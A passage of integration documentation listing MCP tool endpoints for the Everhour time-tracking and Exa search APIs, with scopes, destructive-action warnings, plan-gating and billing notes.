/invoices/{invoice_id}/export. Export an invoice to a connected external accounting system. Supports Xero, QuickBooks, and FreshBooks integrations — the destination must be linked to the team beforehand. An invoice can only be exported once; subsequent calls return an error. POST /api/v1/everhour/invoices/{invoice_id}/export. Scopes: api. everhour_post_invoices_by_invoice_id_reset_time (write) — Refresh Invoice Line Items. POST /invoices/{invoice_id}/reset-time. Refresh an invoice's line items from current time records. The invoice's billable items are rebuilt from the underlying time tracked against the invoice's client over its date range. Useful when time records have been added, edited, or deleted after the invoice was first generated. POST /api/v1/everhour/invoices/{invoice_id}/reset-time. Scopes: api. everhour_post_projects (write) — Create Project. POST /projects. Create a new project. To copy from an existing template use the `template` or `publicTemplate` body field. To sync a project from a connected integration use `POST /projects/{project_id}/sync` instead. POST /api/v1/everhour/projects. Scopes: api. everhour_post_projects_by_project_id_fields (write) — Create Field in Project. POST /projects/{project_id}/fields. Create a new custom field on a project. POST /api/v1/everhour/projects/{project_id}/fields. Scopes: api. everhour_post_projects_by_project_id_sections (write) — Create Section. POST /projects/{project_id}/sections. Create a new section in a project. POST /api/v1/everhour/projects/{project_id}/sections. Scopes: api. everhour_post_projects_by_project_id_sync (write) — Sync Integration Project. POST /projects/{project_id}/sync. Sync new integration projects to Everhour. Traditionally, project sync relied on background jobs which could delay access to Everhour functionality. This endpoint allows instant synchronization of a project from a connected integration (like Trello, Asana, ClickUp, etc.) into Everhour. Useful for automation flows where you want to start working with a project immediately after creating it in your external tool. Safe to call multiple times — if the project already exists in Everhour, it simply returns it without creating duplicates. Workflow Create a project in your external tool (Asana, Trello, etc.) and retrieve its ID. Sync it to Everhour using this endpoint in Everhour API. Proceed with other Everhour API actions — assign a budget, link a client, or set task estimates. Supported platform codes: as, b2, b3, bb, cl, gh, gl, in, li, mo, no, td, tw, tr, wr. POST /api/v1/everhour/projects/{project_id}/sync. Scopes: api. everhour_post_projects_by_project_id_tasks (write) — Create Task. POST /projects/{project_id}/tasks. Create a task in a project. For tasks coming from connected integrations, sync them via `POST /projects/{project_id}/sync` instead. POST /api/v1/everhour/projects/{project_id}/tasks. Scopes: api. everhour_post_resource_planner_assignments (write) — Create Assignment. POST /resource-planner/assignments. Create a schedule assignment. To create time-off use `POST /resource-planner/assignments/time-off` instead. POST /api/v1/everhour/resource-planner/assignments. Scopes: api. everhour_post_resource_planner_time_off_types (write) — Create Time Off Type. POST /resource-planner/time-off-types. Create a new time-off type. POST /api/v1/everhour/resource-planner/time-off-types. Scopes: api. everhour_post_time (write) — Add Time. POST /time. Add a time record (in seconds) for a user on a given task and date. Upsert: at most one time record exists per `(user, date, task)`. Posting again with the same combination updates the existing record's duration instead of creating a duplicate. To update a specific record by ID, use `PUT /time/{time_id}`. See Dates for accepted date and duration formats. POST /api/v1/everhour/time. Scopes: api. everhour_post_timers (write) — Start Timer. POST /timers. Start a timer for the authenticated user on a given task. Only one timer can run per user at a time. If the user already has a timer running on another task, that timer is stopped automatically before the new one starts; the stopped run is committed to a time record on its own date (the date the timer was started, which may not be today for cross-midnight runs). See Concepts for timer semantics. POST /api/v1/everhour/timers. Scopes: api. everhour_post_timesheets_by_timesheet_id_approval (write) — Approve Week/Request for Approval. POST /timesheets/{timesheet_id}/approval. Submit a timesheet week for approval. The week's owner uses this endpoint to request review; an approver acts on the request via `PUT /timesheets/{timesheet_id}/approval`. The `timesheet_id` is the concatenation of `user_id` and a 4-digit `week_id` in `YYWW` format (no separator). Example: user `14856` for week `2535` (week 35 of 2025) → `timesheet_id = 148562535`. See the Timesheets overview for the full Week ID definition. POST /api/v1/everhour/timesheets/{timesheet_id}/approval. Scopes: api. everhour_post_users_by_user_id_timecards_clock_in (write) — Clock In. POST /users/{user_id}/timecards/clock-in. Clock a user in. Starts a new timecard segment at the current time. POST /api/v1/everhour/users/{user_id}/timecards/clock-in. Scopes: api. everhour_post_users_by_user_id_timecards_clock_out (write) — Clock Out. POST /users/{user_id}/timecards/clock-out. Clock a user out. Closes the current timecard segment. POST /api/v1/everhour/users/{user_id}/timecards/clock-out. Scopes: api. everhour_put_allocations_by_allocation_id (write) — Update Allocation. PUT /allocations/{allocation_id}. Update a time-off allocation's amount or period. PUT /api/v1/everhour/allocations/{allocation_id}. Scopes: api. everhour_put_clients_by_client_id (write) — Update Client. PUT /clients/{client_id}. Update an existing client. Only the fields supplied in the body are modified. PUT /api/v1/everhour/clients/{client_id}. Scopes: api. everhour_put_clients_by_client_id_budget (write) — Update Client Budget. PUT /clients/{client_id}/budget. Create or replace the budget attached to a client. Send a complete budget object; partial updates are not supported. PUT /api/v1/everhour/clients/{client_id}/budget. Scopes: api. everhour_put_expenses_by_expense_id (write) — Update Expense. PUT /expenses/{expense_id}. Update an existing expense entry. PUT /api/v1/everhour/expenses/{expense_id}. Scopes: api. everhour_put_expenses_categories_by_category_id (write) — Update Category. PUT /expenses/categories/{category_id}. Update an expense category. PUT /api/v1/everhour/expenses/categories/{category_id}. Scopes: api. everhour_put_fields_by_field_id (write) — Update Field. PUT /fields/{field_id}. Update a custom field's name, type-specific options, or visibility. PUT /api/v1/everhour/fields/{field_id}. Scopes: api. everhour_put_hooks_by_hook_id (write) — Update Webhook. PUT /hooks/{hook_id}. Update a webhook's events or scope. The `targetUrl` cannot be changed and is ignored if sent; the handshake is repeated against the existing URL to confirm it is still reachable. Send `X-Skip-Handshake: 1` to skip it. PUT /api/v1/everhour/hooks/{hook_id}. Scopes: api. everhour_put_invoices_by_invoice_id (write) — Update Invoice. PUT /invoices/{invoice_id}. Update invoice metadata (notes, dates, custom totals). To change the lifecycle state, set `manualStatus` to `draft`, `sent`, or `paid`. PUT /api/v1/everhour/invoices/{invoice_id}. Scopes: api. everhour_put_projects_by_project_id (write) — Update Project. PUT /projects/{project_id}. Update project settings. To change budget or billable rate, use `PUT /projects/{project_id}/billing` instead. PUT /api/v1/everhour/projects/{project_id}. Scopes: api. everhour_put_projects_by_project_id_billing (write) — Update Project Billing/Budget. PUT /projects/{project_id}/billing. Set or update the project's budget, billable rate, and billing type in a single call. Amounts are in cents (see Concepts). PUT /api/v1/everhour/projects/{project_id}/billing. Scopes: api. everhour_put_projects_by_project_id_fields_order (write) — Reorder Fields. PUT /projects/{project_id}/fields-order. Reorder a project's custom fields. Send the full list of field IDs in the desired order. PUT /api/v1/everhour/projects/{project_id}/fields-order. Scopes: api. everhour_put_resource_planner_assignments_by_assignment_id (write) — Update Assignment. PUT /resource-planner/assignments/{assignment_id}. Update an existing schedule assignment. PUT /api/v1/everhour/resource-planner/assignments/{assignment_id}. Scopes: api. everhour_put_resource_planner_time_off_types_by_type_id (write) — Update Time Off Type. PUT /resource-planner/time-off-types/{type_id}. Update a time-off type's name, color, or settings. PUT /api/v1/everhour/resource-planner/time-off-types/{type_id}. Scopes: api. everhour_put_sections_by_section_id (write) — Update Section. PUT /sections/{section_id}. Update a section's name or position. PUT /api/v1/everhour/sections/{section_id}. Scopes: api. everhour_put_tasks_by_task_id (write) — Update Task. PUT /tasks/{task_id}. Update task fields (name, status, due date, section, labels). PUT /api/v1/everhour/tasks/{task_id}. Scopes: api. everhour_put_tasks_by_task_id_billing (write) — Update Task Billing. PUT /tasks/{task_id}/billing. Set a task's billing rate or mark it non-billable. Requires admin access. The same values are returned on task responses when you pass `opts_include_billing=1`. PUT /api/v1/everhour/tasks/{task_id}/billing. Scopes: api. everhour_put_tasks_by_task_id_estimate (write) — Update Task Estimate. PUT /tasks/{task_id}/estimate. Set or replace a task's estimate (in seconds). Send a complete estimate object; partial updates are not supported. PUT /api/v1/everhour/tasks/{task_id}/estimate. Scopes: api. everhour_put_time_by_time_id (write) — Update Time Record. PUT /time/{time_id}. Update a specific time record by ID. To add or upsert time, use `POST /time` instead. PUT /api/v1/everhour/time/{time_id}. Scopes: api. everhour_put_timesheets_by_timesheet_id_approval (write) — Approve or Reject Approval Request. PUT /timesheets/{timesheet_id}/approval. Approve or reject an existing timesheet approval request. Use this endpoint to act on a request previously created with `POST /timesheets/{timesheet_id}/approval`. The response reflects the resulting approval state. PUT /api/v1/everhour/timesheets/{timesheet_id}/approval. Scopes: api. everhour_put_timesheets_by_timesheet_id_discard_approval (write) — Discard Your Approval Request. PUT /timesheets/{timesheet_id}/discard-approval. Retract the caller's previously submitted approval request for a week. The week returns to draft state. PUT /api/v1/everhour/timesheets/{timesheet_id}/discard-approval. Scopes: api. everhour_put_users_by_user_id_timecards_by_date (write) — Update Timecard. PUT /users/{user_id}/timecards/{date}. Update (or create, if missing) a user's timecard for a specific date. Suitable for manual edits — clock-in and clock-out have dedicated endpoints. PUT /api/v1/everhour/users/{user_id}/timecards/{date}. Scopes: api. ================================================================================ ## Exa URL: https://www.agenticfabriq.com/integrations/exa Section: Integrated Tools Exa — 64 MCP tools Provider key: exa. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. exa_delete_agent_runs_by_id (write, destructive) — Delete an agent run via DELETE /agent/runs/{id}. Delete a stored Agent run. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/exa/agent/runs/{id}. Scopes: api. exa_delete_batches_by_id (write, destructive) — Delete a batch via DELETE /batches/{id}. Soft-delete a batch in a terminal status. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. FEATURE-GATED: the Batch API is enabled per team on request. Measured 2026-09-24 with a working key and the required beta token, every route here answers HTTP 403 "The batch endpoint is not enabled for your team. Contact support to request access." An entitlement, not a credential fault; ask Exa support to enable it. DELETE /api/v1/exa/batches/{id}. Scopes: api. exa_delete_monitors_by_id (write, destructive) — Delete a search monitor via DELETE /monitors/{id}. Deletes a monitor. This cannot be undone. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. DELETE /api/v1/exa/monitors/{id}. Scopes: api. exa_delete_v0_imports_by_id (write, destructive) — Delete Import via DELETE /websets/v0/imports/{id}. Deletes a import. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/imports/{id}. Scopes: api. exa_delete_v0_monitors_by_id (write, destructive) — Delete a Websets Monitor via DELETE /websets/v0/monitors/{id}. Deletes a monitor. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/monitors/{id}. Scopes: api. exa_delete_v0_webhooks_by_id (write, destructive) — Delete a Webhook via DELETE /websets/v0/webhooks/{id}. Deletes a Webhook. Its status becomes `inactive`, which stops future webhook deliveries to its URL. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/webhooks/{id}. Scopes: api. exa_delete_v0_websets_by_id (write, destructive) — Delete a Webset via DELETE /websets/v0/websets/{id}. Deletes a Webset. Once deleted, the Webset and all its Items will no longer be available. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/websets/{id}. Scopes: api. exa_delete_v0_websets_by_webset_enrichments_by_id (write, destructive) — Delete an Enrichment via DELETE /websets/v0/websets/{webset}/enrichments/{id}. When deleting an Enrichment, any running enrichments will be canceled and all existing `enrichment_result` generated by this Enrichment will no longer be available. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/websets/{webset}/enrichments/{id}. Scopes: api. exa_delete_v0_websets_by_webset_items_by_id (write, destructive) — Delete an Item via DELETE /websets/v0/websets/{webset}/items/{id}. Deletes an Item from the Webset. This will cancel any enrichment process for it. DESTRUCTIVE: the resource is removed and there is no undo. Read it first with the matching Get tool if you may need what it held. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. DELETE /api/v1/exa/websets/v0/websets/{webset}/items/{id}. Scopes: api. exa_get_agent_runs (read) — List agent runs via GET /agent/runs. List Agent runs for your team, ordered from newest to oldest. GET /api/v1/exa/agent/runs. Scopes: api. exa_get_agent_runs_by_id (read) — Get an agent run via GET /agent/runs/{id}. Retrieve a single Agent run by ID. GET /api/v1/exa/agent/runs/{id}. Scopes: api. exa_get_agent_runs_by_id_events (read) — List agent run events via GET /agent/runs/{id}/events. List stored events for an Agent run. Set `Accept: text/event-stream` to replay stored events as server-sent events. Use `cursor` for JSON pagination or `Last-Event-ID` for SSE replay. GET /api/v1/exa/agent/runs/{id}/events. Scopes: api. exa_get_batches (read) — List batches via GET /batches. List batches for your team, ordered from newest to oldest. FEATURE-GATED: the Batch API is enabled per team on request. Measured 2026-09-24 with a working key and the required beta token, every route here answers HTTP 403 "The batch endpoint is not enabled for your team. Contact support to request access." An entitlement, not a credential fault; ask Exa support to enable it. GET /api/v1/exa/batches. Scopes: api. exa_get_batches_by_id (read) — Get a batch via GET /batches/{id}. Retrieve a single batch by ID. FEATURE-GATED: the Batch API is enabled per team on request. Measured 2026-09-24 with a working key and the required beta token, every route here answers HTTP 403 "The batch endpoint is not enabled for your team. Contact support to request access." An entitlement, not a credential fault; ask Exa support to enable it. GET /api/v1/exa/batches/{id}. Scopes: api. exa_get_monitors (read) — List search monitors via GET /monitors. Lists all monitors for the authenticated team. Supports filtering by status and cursor-based pagination. GET /api/v1/exa/monitors. Scopes: api. exa_get_monitors_by_id (read) — Get a search monitor via GET /monitors/{id}. Retrieves a single monitor by its ID. GET /api/v1/exa/monitors/{id}. Scopes: api. exa_get_monitors_by_id_runs (read) — List search monitor runs via GET /monitors/{id}/runs. Lists all runs for a monitor with cursor-based pagination. Runs are returned in reverse chronological order. GET /api/v1/exa/monitors/{id}/runs. Scopes: api. exa_get_monitors_by_id_runs_by_runid (read) — Get a search monitor run via GET /monitors/{id}/runs/{runId}. Retrieves a single run by its ID, including the full output if the run is completed. GET /api/v1/exa/monitors/{id}/runs/{runId}. Scopes: api. exa_get_v0_events (read) — List all Events via GET /websets/v0/events. List all events that have occurred in the system. You can paginate through the results using the `cursor` parameter. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/events. Scopes: api. exa_get_v0_events_by_id (read) — Get an Event via GET /websets/v0/events/{id}. Get a single Event by id. You can subscribe to Events by creating a Webhook. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/events/{id}. Scopes: api. exa_get_v0_imports (read) — List Imports via GET /websets/v0/imports. Lists all imports for the Webset. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/imports. Scopes: api. exa_get_v0_imports_by_id (read) — Get Import via GET /websets/v0/imports/{id}. Gets a specific import. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/imports/{id}. Scopes: api. exa_get_v0_monitors (read) — List Websets Monitors via GET /websets/v0/monitors. Lists all monitors for the Webset. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/monitors. Scopes: api. exa_get_v0_monitors_by_id (read) — Get a Websets Monitor via GET /websets/v0/monitors/{id}. Gets a specific monitor. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/monitors/{id}. Scopes: api. exa_get_v0_monitors_by_monitor_runs (read) — List Websets Monitor runs via GET /websets/v0/monitors/{monitor}/runs. Lists all runs for the Monitor. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/monitors/{monitor}/runs. Scopes: api. exa_get_v0_monitors_by_monitor_runs_by_id (read) — Get a Websets Monitor run via GET /websets/v0/monitors/{monitor}/runs/{id}. Gets a specific monitor run. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/monitors/{monitor}/runs/{id}. Scopes: api. exa_get_v0_teams_me (read) — Get team info via GET /websets/v0/teams/me. Returns information about the authenticated team, including current concurrency usage and limits. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/teams/me. Scopes: api. exa_get_v0_webhooks (read) — List webhooks via GET /websets/v0/webhooks. Returns the active Webhooks for your team. You can paginate through the results using the `cursor` parameter. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/webhooks. Scopes: api. exa_get_v0_webhooks_by_id (read) — Get a Webhook via GET /websets/v0/webhooks/{id}. Returns a Webhook by id, including its status, subscribed events, target URL, and metadata. The signing `secret` is not returned. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/webhooks/{id}. Scopes: api. exa_get_v0_webhooks_by_id_attempts (read) — List webhook attempts via GET /websets/v0/webhooks/{id}/attempts. List all attempts made by a Webhook ordered in descending order. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/webhooks/{id}/attempts. Scopes: api. exa_get_v0_websets (read) — List all Websets via GET /websets/v0/websets. Returns a list of Websets. You can paginate through the results using the `cursor` parameter. You can filter results using the `search` parameter to find Websets by ID, external ID, or title. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets. Scopes: api. exa_get_v0_websets_by_id (read) — Get a Webset via GET /websets/v0/websets/{id}. Returns a Webset by `id` or `externalId`, including its status, searches, imports, enrichments, and monitors. Pass `expand=items` to include up to the first 100 items in the response. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets/{id}. Scopes: api. exa_get_v0_websets_by_webset_enrichments_by_id (read) — Get an Enrichment via GET /websets/v0/websets/{webset}/enrichments/{id}. Returns an Enrichment configured on a Webset, including its status, description, format, and options. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets/{webset}/enrichments/{id}. Scopes: api. exa_get_v0_websets_by_webset_items (read) — List all Items for a Webset via GET /websets/v0/websets/{webset}/items. Returns a list of Webset Items. You can paginate through the Items using the `cursor` parameter. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets/{webset}/items. Scopes: api. exa_get_v0_websets_by_webset_items_by_id (read) — Get an Item via GET /websets/v0/websets/{webset}/items/{id}. Returns a Webset Item. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets/{webset}/items/{id}. Scopes: api. exa_get_v0_websets_by_webset_searches_by_id (read) — Get a Search via GET /websets/v0/websets/{webset}/searches/{id}. Gets a Search by id PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. GET /api/v1/exa/websets/v0/websets/{webset}/searches/{id}. Scopes: api. exa_patch_monitors_by_id (write) — Update a search monitor via PATCH /monitors/{id}. Updates an existing monitor. All fields are optional. For `search`, you can send a partial object containing only the fields you want to change. Set `trigger` to `null` to remove the schedule. PATCH /api/v1/exa/monitors/{id}. Scopes: api. exa_patch_v0_imports_by_id (write) — Update Import via PATCH /websets/v0/imports/{id}. Updates a import configuration. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. PATCH /api/v1/exa/websets/v0/imports/{id}. Scopes: api. exa_patch_v0_monitors_by_id (write) — Update a Websets Monitor via PATCH /websets/v0/monitors/{id}. Updates a monitor configuration. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. PATCH /api/v1/exa/websets/v0/monitors/{id}. Scopes: api. exa_patch_v0_webhooks_by_id (write) — Update a Webhook via PATCH /websets/v0/webhooks/{id}. Updates the target URL, subscribed events, or metadata of a Webhook. Omitted fields are left unchanged. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. PATCH /api/v1/exa/websets/v0/webhooks/{id}. Scopes: api. exa_patch_v0_websets_by_webset_enrichments_by_id (write) — Update an Enrichment via PATCH /websets/v0/websets/{webset}/enrichments/{id}. Update an Enrichment configuration for a Webset. PLAN-GATED: Exa's Websets surface needs a Pro plan. Measured 2026-09-24 with a working key on a non-Pro team, every route here answers HTTP 401 "Your team does not have access to the API. Upgrade to a Pro plan to get access." That is an entitlement, not a credential fault: the key is fine, re-pasting it changes nothing, and the remedy is the plan. PATCH /api/v1/exa/websets/v0/websets/{webset}/enrichments/{id}. Scopes: api. exa_post_agent_runs (write) — Create an agent run via POST /agent/runs. Create an asynchronous Agent run. By default, the API returns the run object immediately. Set `Accept: text/event-stream` to stream run lifecycle events until the run reaches a terminal status. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/agent/runs. Scopes: api. exa_post_agent_runs_by_id_cancel (write) — Cancel an agent run via POST /agent/runs/{id}/cancel. Cancel a queued or running Agent run immediately without returning any results. You are billed for usage accrued before cancellation. If the run has already reached a terminal status, the API returns the existing run. POST /api/v1/exa/agent/runs/{id}/cancel. Scopes: api. exa_post_agent_runs_by_id_stop (write) — Stop an agent run via POST /agent/runs/{id}/stop. Complete a running Agent run early, returning the results gathered so far. You are billed for usage accrued before the stop. Currently supported only for `max` effort runs and requires the `Exa-Beta: agent-max-effort-2026-07-27` header. If the run has already reached a terminal status, the API returns the existing run. POST /api/v1/exa/agent/runs/{id}/stop. Scopes: api. exa_post_answer (write) — Answer a question via POST /answer. Performs a search based on the query and generates either a direct answer or a detailed summary with citations, depending on the query type. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/answer. Scopes: api. exa_post_batches (write) — Create a batch via POST /batches. Create a batch of requests to run asynchronously. Each request is dispatched to its target route and results are made available for download when the batch completes. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. FEATURE-GATED: the Batch API is enabled per team on request. Measured 2026-09-24 with a working key and the required beta token, every route here answers HTTP 403 "The batch endpoint is not enabled for your team. Contact support to request access." An entitlement, not a credential fault; ask Exa support to enable it. POST /api/v1/exa/batches. Scopes: api. exa_post_batches_by_id_cancel (write) — Cancel a batch via POST /batches/{id}/cancel. Request cancellation of a batch. The batch stops scheduling new requests and drains in-flight work before settling to `cancelled`. Cancelling a batch that is already `cancelling` or `cancelled` is idempotent and returns the batch unchanged. A batch that has already reached a terminal status (`completed` or `expired`) cannot be cancelled and the request fails with a 409. FEATURE-GATED: the Batch API is enabled per team on request. Measured 2026-09-24 with a working key and the required beta token, every route here answers HTTP 403 "The batch endpoint is not enabled for your team. Contact support to request access." An entitlement, not a credential fault; ask Exa support to enable it. POST /api/v1/exa/batches/{id}/cancel. Scopes: api. exa_post_contents (write) — Get page contents via POST /contents. Fetch the contents of pages Exa has already crawled, by `urls` or by the result `ids` a previous search returned -- one of the two is required. Ask for `text` (optionally capped with `maxCharacters`), `highlights` (query-relevant excerpts), `summary` (optionally against a JSON schema), `livecrawl` behaviour when the page is not cached, and `subpages`/`extras` for links and images. This is the read half of search: it retrieves page content and never runs a new query. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, answers and agent runs are priced per call (and an agent run per unit of effort), so an agent allowed to call it can spend the account's balance. A 402 from Exa is that balance, not the key. POST /api/v1/exa/contents. Scopes: api. exa_post_findsimilar (write) — Find similar pages via POST /findSimilar. Find links similar to the provided URL and optionally retrieve their contents. Deprecated: prefer `/search` with a query describing the source. COST: this is a BILLED Exa call charged to the connected team's credit balance -- searches, content fetches, 